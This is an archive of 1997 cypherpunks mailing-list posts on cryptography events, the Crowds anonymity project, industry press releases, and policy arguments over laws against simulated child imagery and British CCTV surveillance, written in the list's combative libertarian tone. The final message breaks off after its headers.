To: <IMCEAX400-c=US+3Ba=+20+3Bp=STRATUS+3Bo=S2+3Bdda+3ASMTP=cypherpunks+40algebra+2Ecom+3B@ex.stratus.com>
Subject: Cryptography Seminars and Confrences
Message-ID: <c=US%a=_%p=stratus%l=ATLMAIL-970715161000Z-1352@misnt08-t.mis.stratus.com>
MIME-Version: 1.0
Content-Type: text/plain



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Does anyone know of a web address or some other means of looking up 
conferences or seminars on the subject of cryptography?  If there is 
no site or reference, does anyone know of any upcoming around the 
Atlanta, GA area?

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 16 Jul 1997 03:41:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <v03102802aff173397d63@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:25 PM -0400 7/15/97, Unprivileged user wrote:
>> http://www.wired.com/news/news/politics/story/5153.html
>>
>> Making Imaginary Sex Illegal
>>
>> by Ashley Craddock
>>
>> So maybe it shouldn't be surprising that Congress has made it a
>> criminal offense to depict non-obscene, sexually explicit material
>> involving anyone who "appears to be" a minor. Maybe it shouldn't be
>> surprising that it made it a criminal offense to advertise materials in
>> any way that "conveys the impression" that minors will be sexually
>> depicted.
>>
>> But what about the fact that Congress explicitly designed the law to
>> make computer-simulated child porn illegal?
>
>If "computer-simulated" images are legal, how can you tell that it is
>computer simulated?  Everyone will then claim to be a talented artist, or
>use reverse aging algorithms on adult porn photos, or just use enough
>obvious features on a real picture to show computer alteration.  Or,
>simply have a CG artist render the live scene?  Which category would that
>be?  JPEG is a lossy compression technique - would that alteration to a
>photograph be considered "computer simulation".
>

Exactly. Like crypto, technology is making moot these Nanny laws, but the
legislators don't get it.  I completely reject Congress' and the SC's
different treatment of porn and graphic violence in the media.  Either both
or neither should be banned. The real issue is: Thought Crime.  Should
society have the right to control information content which cannot be shown
to directly endanger or harm specific parties?  I and many libertarians
would say HELL NO.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Wed, 16 Jul 1997 00:31:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <97Jul15.122553edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



> http://www.wired.com/news/news/politics/story/5153.html
> 
> Making Imaginary Sex Illegal
> 
> by Ashley Craddock 
> 
> So maybe it shouldn't be surprising that Congress has made it a
> criminal offense to depict non-obscene, sexually explicit material
> involving anyone who "appears to be" a minor. Maybe it shouldn't be
> surprising that it made it a criminal offense to advertise materials in
> any way that "conveys the impression" that minors will be sexually
> depicted. 
> 
> But what about the fact that Congress explicitly designed the law to
> make computer-simulated child porn illegal? 

If "computer-simulated" images are legal, how can you tell that it is
computer simulated?  Everyone will then claim to be a talented artist, or
use reverse aging algorithms on adult porn photos, or just use enough
obvious features on a real picture to show computer alteration.  Or,
simply have a CG artist render the live scene?  Which category would that
be?  JPEG is a lossy compression technique - would that alteration to a
photograph be considered "computer simulation". 

> As the case has evolved, the government has moved toward the stance
> that it didn't really mean to outlaw sexually explicit images of young
> adults who might look like kids. What it meant to do was protect the
> world from explicit kiddie morphs. 

If anyone watched the original hearings, this is what they were discussing
as the problem with the original definition.  I forget the specific
legalese, but if one face was pasted on a different body, for some reason
it ceased to fall within the old definition, making it very easy to create
"legal" child-pornography.  Of course courts regularly ignore legislative
intent. 

Congress is notoriously bad at coming up with good legal definitions, and
I was bothered that they didn't simply include "computer-altered" images
in the existing definition instead of a complete redifinition of "anything
that appears to be".

I hope the existing law is overturned as being too broad so that the
narrower definition can be passed.

But to return to the cypher aspect, what about altering existing images so
that they are unidentifiable as to whether they are from real acts or
truly the products of an imagination.  Will we now need someone from the
government to certify the kiddie porn isn't real?

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 16 Jul 1997 03:43:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <9707151736.AA27385@sabel.idacom.hp.com>
Message-ID: <v0300780eaff17f63f464@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know who the judge is, what the case name/# is?  I tried to
find information about the case on the Web last night, came up with nothing
resembling legal papers.

Lee






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 15 Jul 1997 18:58:54 +0800
To: Marc Briceno <marc.briceno@usa.net>
Subject: hand-held computers Re: Electronic commerce has long way to go
In-Reply-To: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com>
Message-ID: <199707151053.MAA17126@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain




> After watching Ian Goldberg's demo of all the neat things one can do on an
> US Robotics Palm Pilot PDA, I decided to purchase such a device.


Hm.  I have already sent out e-mails to on-line merchants 
asking if I can order a Newton, because I've heard from several
people that Newton has a superior user interface, and I know 
that its CPU is super fast.


Unfortunately there is not yet any PGP or Ecash for Newton 
publically available.


How about for Pilot?


Is there gcc or any other C compiler for Pilot?  (There is not,
yet, for Newton a publically available C compiler AFAIK.)


What _are_ the cool things Ian Goldberg can do with a Pilot, 
anyway?


Regards,

nobody in particular

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Reiter <reiter@research.att.com>
Date: Wed, 16 Jul 1997 01:52:22 +0800
To: cypherpunks@toad.com
Subject: update on Crowds
Message-ID: <199707151727.NAA00460@cloak.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain




Back in April we circulated an announcement for a system called
"Crowds" for browsing the web anonymously.  Here is an update on
its status.

1) There is a new, more complete version of the Crowds paper, and a
new web page from which you can retrieve it.  The page's URL is

http://www.research.att.com/projects/crowds/

Of course, comments are welcomed and appreciated.

2) AT&T has finally decided to release the code, and we are working
out a free license for noncomercial use with our lawyers right now.
Once that is done, we would like to start alpha testing.  Alpha
testing will require some commitment from the testers, and we are
looking for serious people who are interested in contributing to our
attempt at providing anonymity to the Internet community.  To be an
alpha tester, you should have access to a machine

- running SunOS, Solaris, or Irix
- with Perl 5.003 or later
- with a high-throughput connection to the Internet (no modems please!)
- that is not behind a firewall

Moreover, testers must be US citizens, due to the cryptography in the
code.  If you are interested in being an alpha tester, please send
email to either of us.  In your email, please describe the platform on
which you'll be running.

Mike Reiter <reiter@research.att.com>
Avi Rubin   <rubin@research.att.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 16 Jul 1997 04:48:44 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <19970715115457.07611@bywater.songbird.com>
Message-ID: <Pine.GSO.3.96.970715133817.16101C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Kent Crispin wrote:

> Yes, that's the logical next step -- Government Approved Porn (GAP).  
> Perhaps we could get Senator Hatch to sponsor a bill?
> 
> The constitutional implications are staggering.

"Welcome to the future.  Here is your free porn."

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 16 Jul 1997 04:49:45 +0800
To: Lee Tien <tien@well.com>
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <v0300780eaff17f63f464@[163.176.132.90]>
Message-ID: <Pine.GSO.3.96.970715133913.16101D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Lee Tien wrote:

> 
> Does anyone know who the judge is, what the case name/# is?  I tried to
> find information about the case on the Web last night, came up with nothing
> resembling legal papers.

There is no case law on it (yet).  It is currently a law being challenged
(or about to be) in court.  Something Orrin "I have to look good for the
Church" Hatch dreamed up.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 06:42:34 +0800
To: cypherpunks@toad.com
Subject: White House swaps stand and decides to invite ACLU after all
Message-ID: <Pine.GSO.3.95.970715152906.11464e-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 15:28:58 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: White House swaps stand and decides to invite ACLU after all

[Two hours after the ACLU issued this press release and journalists
started to call, the White House reversed its stand. Now it says the ACLU
is permitted to come to the meeting tomorrow after all. --Declan]

***********

                           White House Excludes ACLU and Others 
                        From Summit Meeting on Internet Censorship

FOR IMMEDIATE RELEASE: Tuesday, July 15, 1997
Contact: Emily Whitfield, (212) 549-2566

WASHINGTON -- Contrary to earlier Administration statements, the White House
has failed to invite the American Civil Liberties Union and other leading
civil liberties organizations to its high-level conference on Internet
censorship.

"With this last-minute shift, the Administration has set an unfortunate
beginning to this important process," said Donald Haines, ACLU Legislative
Counsel for the Washington National Office.

"Just as the ACLU continues to work with members of Congress as they shape
national policy regarding the Internet," Haines said, "we were most
interested in working with President Clinton and Vice President Gore on
finding strategies to empower parents to help their children use the Internet
wisely." 

The conference, set to take place on Wednesday, July 17, includes
representatives from Internet giants Microsoft, America Online and Prodigy
and executives from filtering software companies, as well as the Internet
censorship group Enough is Enough.  The American Library Association, a
defender of online free speech, was invited, but the Electronic Privacy
Information Center, a Washington, D.C.-based cyber-liberties group, was
excluded along with the ACLU. 

"The Administration's failure to open this process to all interested parties
is short-sighted and could ultimately lead to another expensive legal
battle," Haines added.

Tomorrow's meeting on Internet censorship comes in the wake of a landmark
Supreme Court decision late last month striking down censorship provisions of
the Communications Decency Act as unconstitutional.  

The ACLU filed a lawsuit challenging the CDA on behalf of  20 organizations
and individuals, the day after President Clinton signed the law.   Several
weeks later, a second group of plaintiffs filed another challenge, American
Library Association v. Department of Justice.  The two challenges were
consolidated into ACLU v. Reno by a federal district curt in Philadelphia,
which ultimately ruled that the law was unconstitutional.  The government
appealed that ruling and the case moved up to the Supreme Court.  

Writing for a nearly unanimous Court in Reno v. American Civil Liberties
Union, Justice John Paul Stevens said that "the interest in encouraging
freedom of expression in a democratic society outweighs any theoretical but
unproven benefit of censorship."

Commenting on the law's purported aim to protect minors from so-called
indecency, Justice Stevens noted that "Under the CDA, a parent allowing her
17-year-old to use the family computer to obtain information on the Internet
that she, in her parental judgment, deems appropriate, could face a lengthy
prison term."

"The Court's decision was clearly written to protect individual online
users," said the ACLU's Haines.  "They, not industry giants, are the people
the ACLU represents, and they are the people who are being denied a voice in
this meeting." 
 
-endit-









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 16 Jul 1997 04:51:36 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <v03102802aff173397d63@[10.0.2.15]>
Message-ID: <Pine.LNX.3.94.970715163006.28857D-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Steve Schear wrote:

> The real issue is: Thought Crime.

"The only war that counts is the war on the imagination." --Diane DiPrima





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 16 Jul 1997 05:17:26 +0800
To: cypherpunks@toad.com
Subject: C2Net Software's Stronghold Web Server Adds nCipher 	Hardware Encryption Support
Message-ID: <v03110710aff193e40427@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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owner-espam@lists.espace.net using -f
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X-Sender: rah@atanda.com
Mime-Version: 1.0
Date: Tue, 15 Jul 1997 13:04:32 -0400
To: espam@intertrader.com, e$pam <e$pam@atanda.com>
From: Robert Hettinga <rah@shipwright.com>
Subject: C2Net Software's Stronghold Web Server Adds nCipher 	Hardware
 Encryption Support
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---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
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From: Robert Hettinga <rah@shipwright.com>
Reply-To: rah@shipwright.com
Organization: The Shipwright Development Corporation
MIME-Version: 1.0
To: Robert Hettinga <rah@shipwright.com>
Subject: C2Net Software's Stronghold Web Server Adds nCipher
	Hardware Encryption Support

http://www.prnewswire.com:80/cgi-bin/stories.pl?ACCT=104&STORY=/www/s
tory/7-14-9
 7/275856&EDATE=

 Content-Type: text/plain; charset=us-ascii; name="275856&EDATE="
 Content-Disposition: inline; filename="275856&EDATE="
 X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com i d
 KAA11101

                                 [Todays News]

 C2Net Software's Stronghold Web Server Adds nCipher Hardware Encryption
 Support

     OAKLAND, Calif., July 14 /PRNewswire/ -- C2Net Software today announc ed
 its Stronghold(TM) secure web server now supports the nFast hardware
 cryptographic accelerator from nCipher Corporation Ltd. "Like Stronghold,  the
 nFast accelerator is manufactured outside of the U.S., enabling us to off er
 our world-wide customers a simple, platform-independent way to speed up s
ecure
 web server throughput," said C2Net Software president Sameer Parekh. "Man y
 will find that Stronghold's terrific out-of-the-box performance is more t han
 enough for their needs. If not, adding one or more nFast units is a fast,
 simple way to increase encryption performance as required."
     "nCipher's nFast cryptographic accelerators enhance e-commerce and on line
 transactions by speeding up the processing of crypto keys," said Alex van
 Someren, president of nCipher. "Using nFast together with the Stronghold  web
 server gives customers throughout the world a quickly-scalable environmen
t for
 conducting secure business on the Internet."
     nCipher's nFast cryptographic accelerator interfaces via a standard S CSI2
 interface, making it compatible with virtually any computer platform, and
 mounts within the space of a standard 3.5-inch disk drive bay. Each nFast
 accelerator can carry out approximately three hundred 1024-bit public key
 signings per second.
     The Stronghold Web Server is an enhanced, secure, commercial version  of
 the popular Apache server. Based on figures in a Netcraft survey
  (http://www.netcraft.com/survey/), Stronghold is the second most popular
 commercial server for UNIX and the second most popular for secure applica
tions
 on the Internet.
      nCipher Corporation Ltd. (http://www.ncipher.com/), an affiliate of  the
 Newbridge Network Corporation (NYSE: NN), is a privately-owned developer  of
 cryptographic technologies for securing server transactions, including bo th
 software and hardware cryptographic acceleration products. nCipher
 headquarters are located in Cambridge, England, with US offices in Andove
r, MA
 and in Santa Clara, CA.
      C2Net Software, Inc. (http://www.c2.net/) is a leading provider of
 uncompromised network security software. Through its international offsho re
 development programs, all C2Net products are exempt from U.S. government
 export restrictions, allowing the company to offer uncrippled, strong
 cryptography solutions to customers worldwide.

 SOURCE  C2Net Software Inc.

 CONTACT: Steve Cook of C2Net Software, Inc., 510-986-8770

 ------------------------------------------------------------------------- ---

                              [PR Newswire Logo]

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e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Wed, 16 Jul 1997 05:44:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <19970715115457.07611@bywater.songbird.com>
Message-ID: <97Jul15.173517edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Kent Crispin wrote:

> On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote:
> > But to return to the cypher aspect, what about altering existing images so
> > that they are unidentifiable as to whether they are from real acts or
> > truly the products of an imagination.  Will we now need someone from the
> > government to certify the kiddie porn isn't real?
> 
> Yes, that's the logical next step -- Government Approved Porn (GAP).  
> Perhaps we could get Senator Hatch to sponsor a bill?
> 
> The constitutional implications are staggering.

Actually, Government Approved Kiddieporn, or GAK.  Isn't Hatch already for
GAK?

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 16 Jul 1997 08:54:25 +0800
To: cypherpunks@cyberpass.net
Subject: Prepaid/anon net access
Message-ID: <3.0.3.32.19970715173721.0086cac0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


www.wired.com has a little blurb about the people at 
<http://www.auricweb.com/Accesscard.html>, apparently they're 
offering/planning to offer prepaid net access cards (similar to prepaid phone 
cards) whereby one can dial an 800 number, then enter a username/PW for 20 
mins of dialup PPP. (they don't provide E-mail accounts, you have to have 
your own provider for that.) 

More tools for tentacles.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM8wXsWcCR88m5EiMEQLxzACfRpDqQ+YUEUDpq7MxgmD+kjDZQ+wAnR52
649yXdt84bHMA3TC63blT9Yn
=80qU
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 16 Jul 1997 05:43:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CCTV Cameras in Britain
Message-ID: <199707152143.RAA22086@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




-- forwarded message --
Path: wmich-news!gumby!newspump.wustl.edu!fas-news.harvard.edu!oitnews.harvard.edu!rutgers!usenet.logical.net!news-out.internetmci.com!infeed1.internetmci.com!newsfeed.internetmci.com!vixen.cso.uiuc.edu!uwm.edu!computer-privacy-request
From: David Alexander <davea@caplin.demon.co.uk>
Newsgroups: comp.society.privacy
Subject: Re: CCTV Cameras in Britain
Date: 14 Jul 1997 16:05:55 GMT
Organization: Computer Privacy Digest
Lines: 71
Sender: comp-privacy@uwm.edu
Approved: comp-privacy@uwm.edu
Message-ID: <comp-privacy11.3.12@cs.uwm.edu>
NNTP-Posting-Host: 129.89.2.6
X-Original-Submission-Date: 10 Jul 1997 11:33:18 +0100
X-Submissions-To: comp-privacy@uwm.edu
X-Administrivia-To: comp-privacy-request@uwm.edu
X-Computer-Privacy-Digest: Volume 11, Issue 003, Message 12 of 16
X-Auth: PGPMoose V1.1 PGP comp.society.privacy
	iQBFAwUBM8oxCjNf3+97dK2NAQF46gF/RZ6tN/V6TQwOCyyAzJeCTngaqMu4IW9h
	Wm81iJFNAWYI59zJGoRVjd+b9u3TefKX
	=im9q
Originator: levine@blatz.cs.uwm.edu
Xref: wmich-news comp.society.privacy:424

I read with interest the comments about CCTV cameras that were in the
last 2 mailings. I note that Steve does not live in the UK, and I would
like to present a residents' view of these cameras.

    Privacy International says that in Britain, there are an estimated
    300,000 CCTV surveillance cameras in public areas, housing estates,
    car parks, public facilities, phone booths, vending machines,
    buses, trains, taxis, alongside motorways and inside Automatic
    Teller (ATM) Machines. Originally installed to deter burglary,
    assault and car [...] Do we try to protect Democratic freedoms by
    legislating safeguards against the abuse of private data? Must we
    accept that the mightiest individuals and institutions cannot be
    held accountable, and there is no use in trying? Or do we simply
    acquiesce, and accept that privacy is an outdated concept when
    cheap technology makes everyone vulnerable, wolves and lambs
    alike?  The choices are not easy, but in the words of David Brin,
    "asking questions can be a good first step".

Yes, there are many cameras, and more going up all the time. The vast
majority of the population is glad that these cameras are being
introduced. Ordinary crime has been reduced greatly in those areas
(proven fact) where the cameras are in use. We also have a big problem
with Terrorism by the Provisional IRA over here, and the same cameras
have been instrumental in the foiling of numerous terrorist operations
and capture of those responsible for others (we have had 3 bombs
detonated in England larger than the one at Oklahoma in the last 3
years).

A very popular and effective program on UK TV is called 'Crimewatch'
where video footage, from these cameras, of crimes and suspects is
shown not for sensationalism and ratings but in order to ask for help
identifying the perpetrators.  It is very effective and crimes featured
have a very high clear-up rate.

    One of the instruments needed to thwart such surveillence is the
    adoption of 'masks' which are socially acceptable for public use.
    Ideally they should all look alike, sort of something out of The
    Prisoner. Once a certain threshold of adoption has been passed the
    only option for law enforcement will be to remove the offending
    devices or declare maks illegal for public use (a real stretch for
    civil liberties).

Yeah, right, get real. The only reason you might want to avoid being
identified is if you have something to hide. Wearing a mask is only
going to draw attention to you, and if you think everyone is suddenly
going to start wearing masks...like I said in paragarph one, most
people over here welcome the cameras.

Please don't misinterpret my motives. I would be the first to celebrate
if no threat to privacy existed. Unfortunately there are immoral,
irresponsible and downright antisocial (not to mention the
psychologically unsound) people who will not abide by the law, or to
what we regard as social norms and persist in infringing our rights.
As long as those people exist, and no better way of deterring and
tracking them down after the (often tragic) offence has been committed,
then we need such laws and technology.

I would feel very ashamed if my attempts to protect my rights caused
the death of innocent people because security against those who are
irresponsible had to be drastically cut back.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
David Alexander    AIX Support Professional V3 & V4, SP Certified
Technical Manager
Caplin Cybernetics Corporation           E-mail: davea@caplin.com
Windmill Business Village                Tel:        01932 778172 
Brooklands Close, Sunbury-on-Thames      Fax:        01932 779606
Middlesex  TW16 7DY, England
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


-- end of forwarded message --





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 16 Jul 1997 08:54:00 +0800
To: davea@caplin.demon.co.uk
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu>
Message-ID: <v03102805aff1c360c471@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:43 PM -0400 7/15/97, Damaged Justice wrote:
>-- forwarded message --
>From: David Alexander <davea@caplin.demon.co.uk>
>
>    Privacy International says that in Britain, there are an estimated
>    300,000 CCTV surveillance cameras in public areas, housing estates,
>    car parks, public facilities, phone booths, vending machines,
>    buses, trains, taxis, alongside motorways and inside Automatic
>    Teller (ATM) Machines. Originally installed to deter burglary,
>    assault and car [...] Do we try to protect Democratic freedoms by
>    legislating safeguards against the abuse of private data? Must we
>    accept that the mightiest individuals and institutions cannot be
>    held accountable, and there is no use in trying? Or do we simply
>    acquiesce, and accept that privacy is an outdated concept when
>    cheap technology makes everyone vulnerable, wolves and lambs
>    alike?  The choices are not easy, but in the words of David Brin,
>    "asking questions can be a good first step".
>
>Yes, there are many cameras, and more going up all the time. The vast
>majority of the population is glad that these cameras are being
>introduced. Ordinary crime has been reduced greatly in those areas
>(proven fact) where the cameras are in use. We also have a big problem
>with Terrorism by the Provisional IRA over here, and the same cameras
>have been instrumental in the foiling of numerous terrorist operations
>and capture of those responsible for others (we have had 3 bombs
>detonated in England larger than the one at Oklahoma in the last 3
>years).

Yes, well initial reaction to such Big Brother measures are often greeted,
initially, by the sheeple as in their best interest.

As for the IRA, although I am not a UK resident I did live there for some
time, I think most of the violence is a result of mean intentioned English
policies in the later part of the 19th and early 20th century.  I doubt the
surveillence can put an end to terrorism without doing away with much of
the English population's privacy.

>
>A very popular and effective program on UK TV is called 'Crimewatch'
>where video footage, from these cameras, of crimes and suspects is
>shown not for sensationalism and ratings but in order to ask for help
>identifying the perpetrators.  It is very effective and crimes featured
>have a very high clear-up rate.
>
>    One of the instruments needed to thwart such surveillence is the
>    adoption of 'masks' which are socially acceptable for public use.
>    Ideally they should all look alike, sort of something out of The
>    Prisoner. Once a certain threshold of adoption has been passed the
>    only option for law enforcement will be to remove the offending
>    devices or declare maks illegal for public use (a real stretch for
>    civil liberties).
>
>Yeah, right, get real. The only reason you might want to avoid being
>identified is if you have something to hide. Wearing a mask is only
>going to draw attention to you, and if you think everyone is suddenly
>going to start wearing masks...like I said in paragarph one, most
>people over here welcome the cameras.

Youth is always looking for a way to make a statement or stand out in the
crowd.  This could be an effective means to both poke the surveillence
state in the eye and be noticed.

>
>Please don't misinterpret my motives. I would be the first to celebrate
>if no threat to privacy existed. Unfortunately there are immoral,
>irresponsible and downright antisocial (not to mention the
>psychologically unsound) people who will not abide by the law, or to
>what we regard as social norms and persist in infringing our rights.
>As long as those people exist, and no better way of deterring and
>tracking them down after the (often tragic) offence has been committed,
>then we need such laws and technology.

That's what personal firearms are for...

Its no coincedence that the incedence of 'hot' bugluries (that is one's in
which the owner is in residence during the incident) are about 60% for the
UK and 15% for the US.  Sentenced US criminals are much more careful in
'casing' a residence and, unlike their UK counterparts, rarely enter in the
evening when they are much more likely to get shot.

>
>I would feel very ashamed if my attempts to protect my rights caused
>the death of innocent people because security against those who are
>irresponsible had to be drastically cut back.

I wouldn't.  Its the state's duty to protect my liberties and if they can't
or won't the obligation falls on me.

The product of liberty and security is a constant.


--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 16 Jul 1997 09:44:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu>
Message-ID: <19970715183341.01502@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 15, 1997 at 05:43:59PM -0700, Steve Schear wrote:
[.deleted.]
> 
> I wouldn't.  Its the state's duty to protect my liberties and if they can't
> or won't the obligation falls on me.
>
> The product of liberty and security is a constant.

This is obviously false.  Zero liberty and zero security is a quite
possible situation (laying strapped to the table, waiting for your 
lethal injection, for example), as is some liberty and some security (the 
normal situation).

Of course, in this context "liberty" is a religious word, with little 
semantic content.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 16 Jul 1997 09:07:36 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <v03102805aff1c360c471@[10.0.2.15]>
Message-ID: <199707160105.UAA15117@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102805aff1c360c471@[10.0.2.15]>, on 07/15/97 
   at 05:43 PM, Steve Schear <azur@netcom.com> said:

>As for the IRA, although I am not a UK resident I did live there for some
>time, I think most of the violence is a result of mean intentioned
>English policies in the later part of the 19th and early 20th century.  I
>doubt the surveillence can put an end to terrorism without doing away
>with much of the English population's privacy.

There is a simple solution to the IRA problem: The English need to get the
fuck out of Ireland!!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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zY3XRhxZJxo=
=tLSg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 16 Jul 1997 12:03:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <v03007812aff1f350203c@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:54 AM -0700 7/15/97, Kent Crispin wrote:
>On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote:
>> But to return to the cypher aspect, what about altering existing images so
>> that they are unidentifiable as to whether they are from real acts or
>> truly the products of an imagination.  Will we now need someone from the
>> government to certify the kiddie porn isn't real?
>
>Yes, that's the logical next step -- Government Approved Porn (GAP).
>Perhaps we could get Senator Hatch to sponsor a bill?

We have government approved gambling with terrible odds already.  This
sounds like the next logical step.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 16 Jul 1997 12:07:57 +0800
To: Unprivileged user <cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
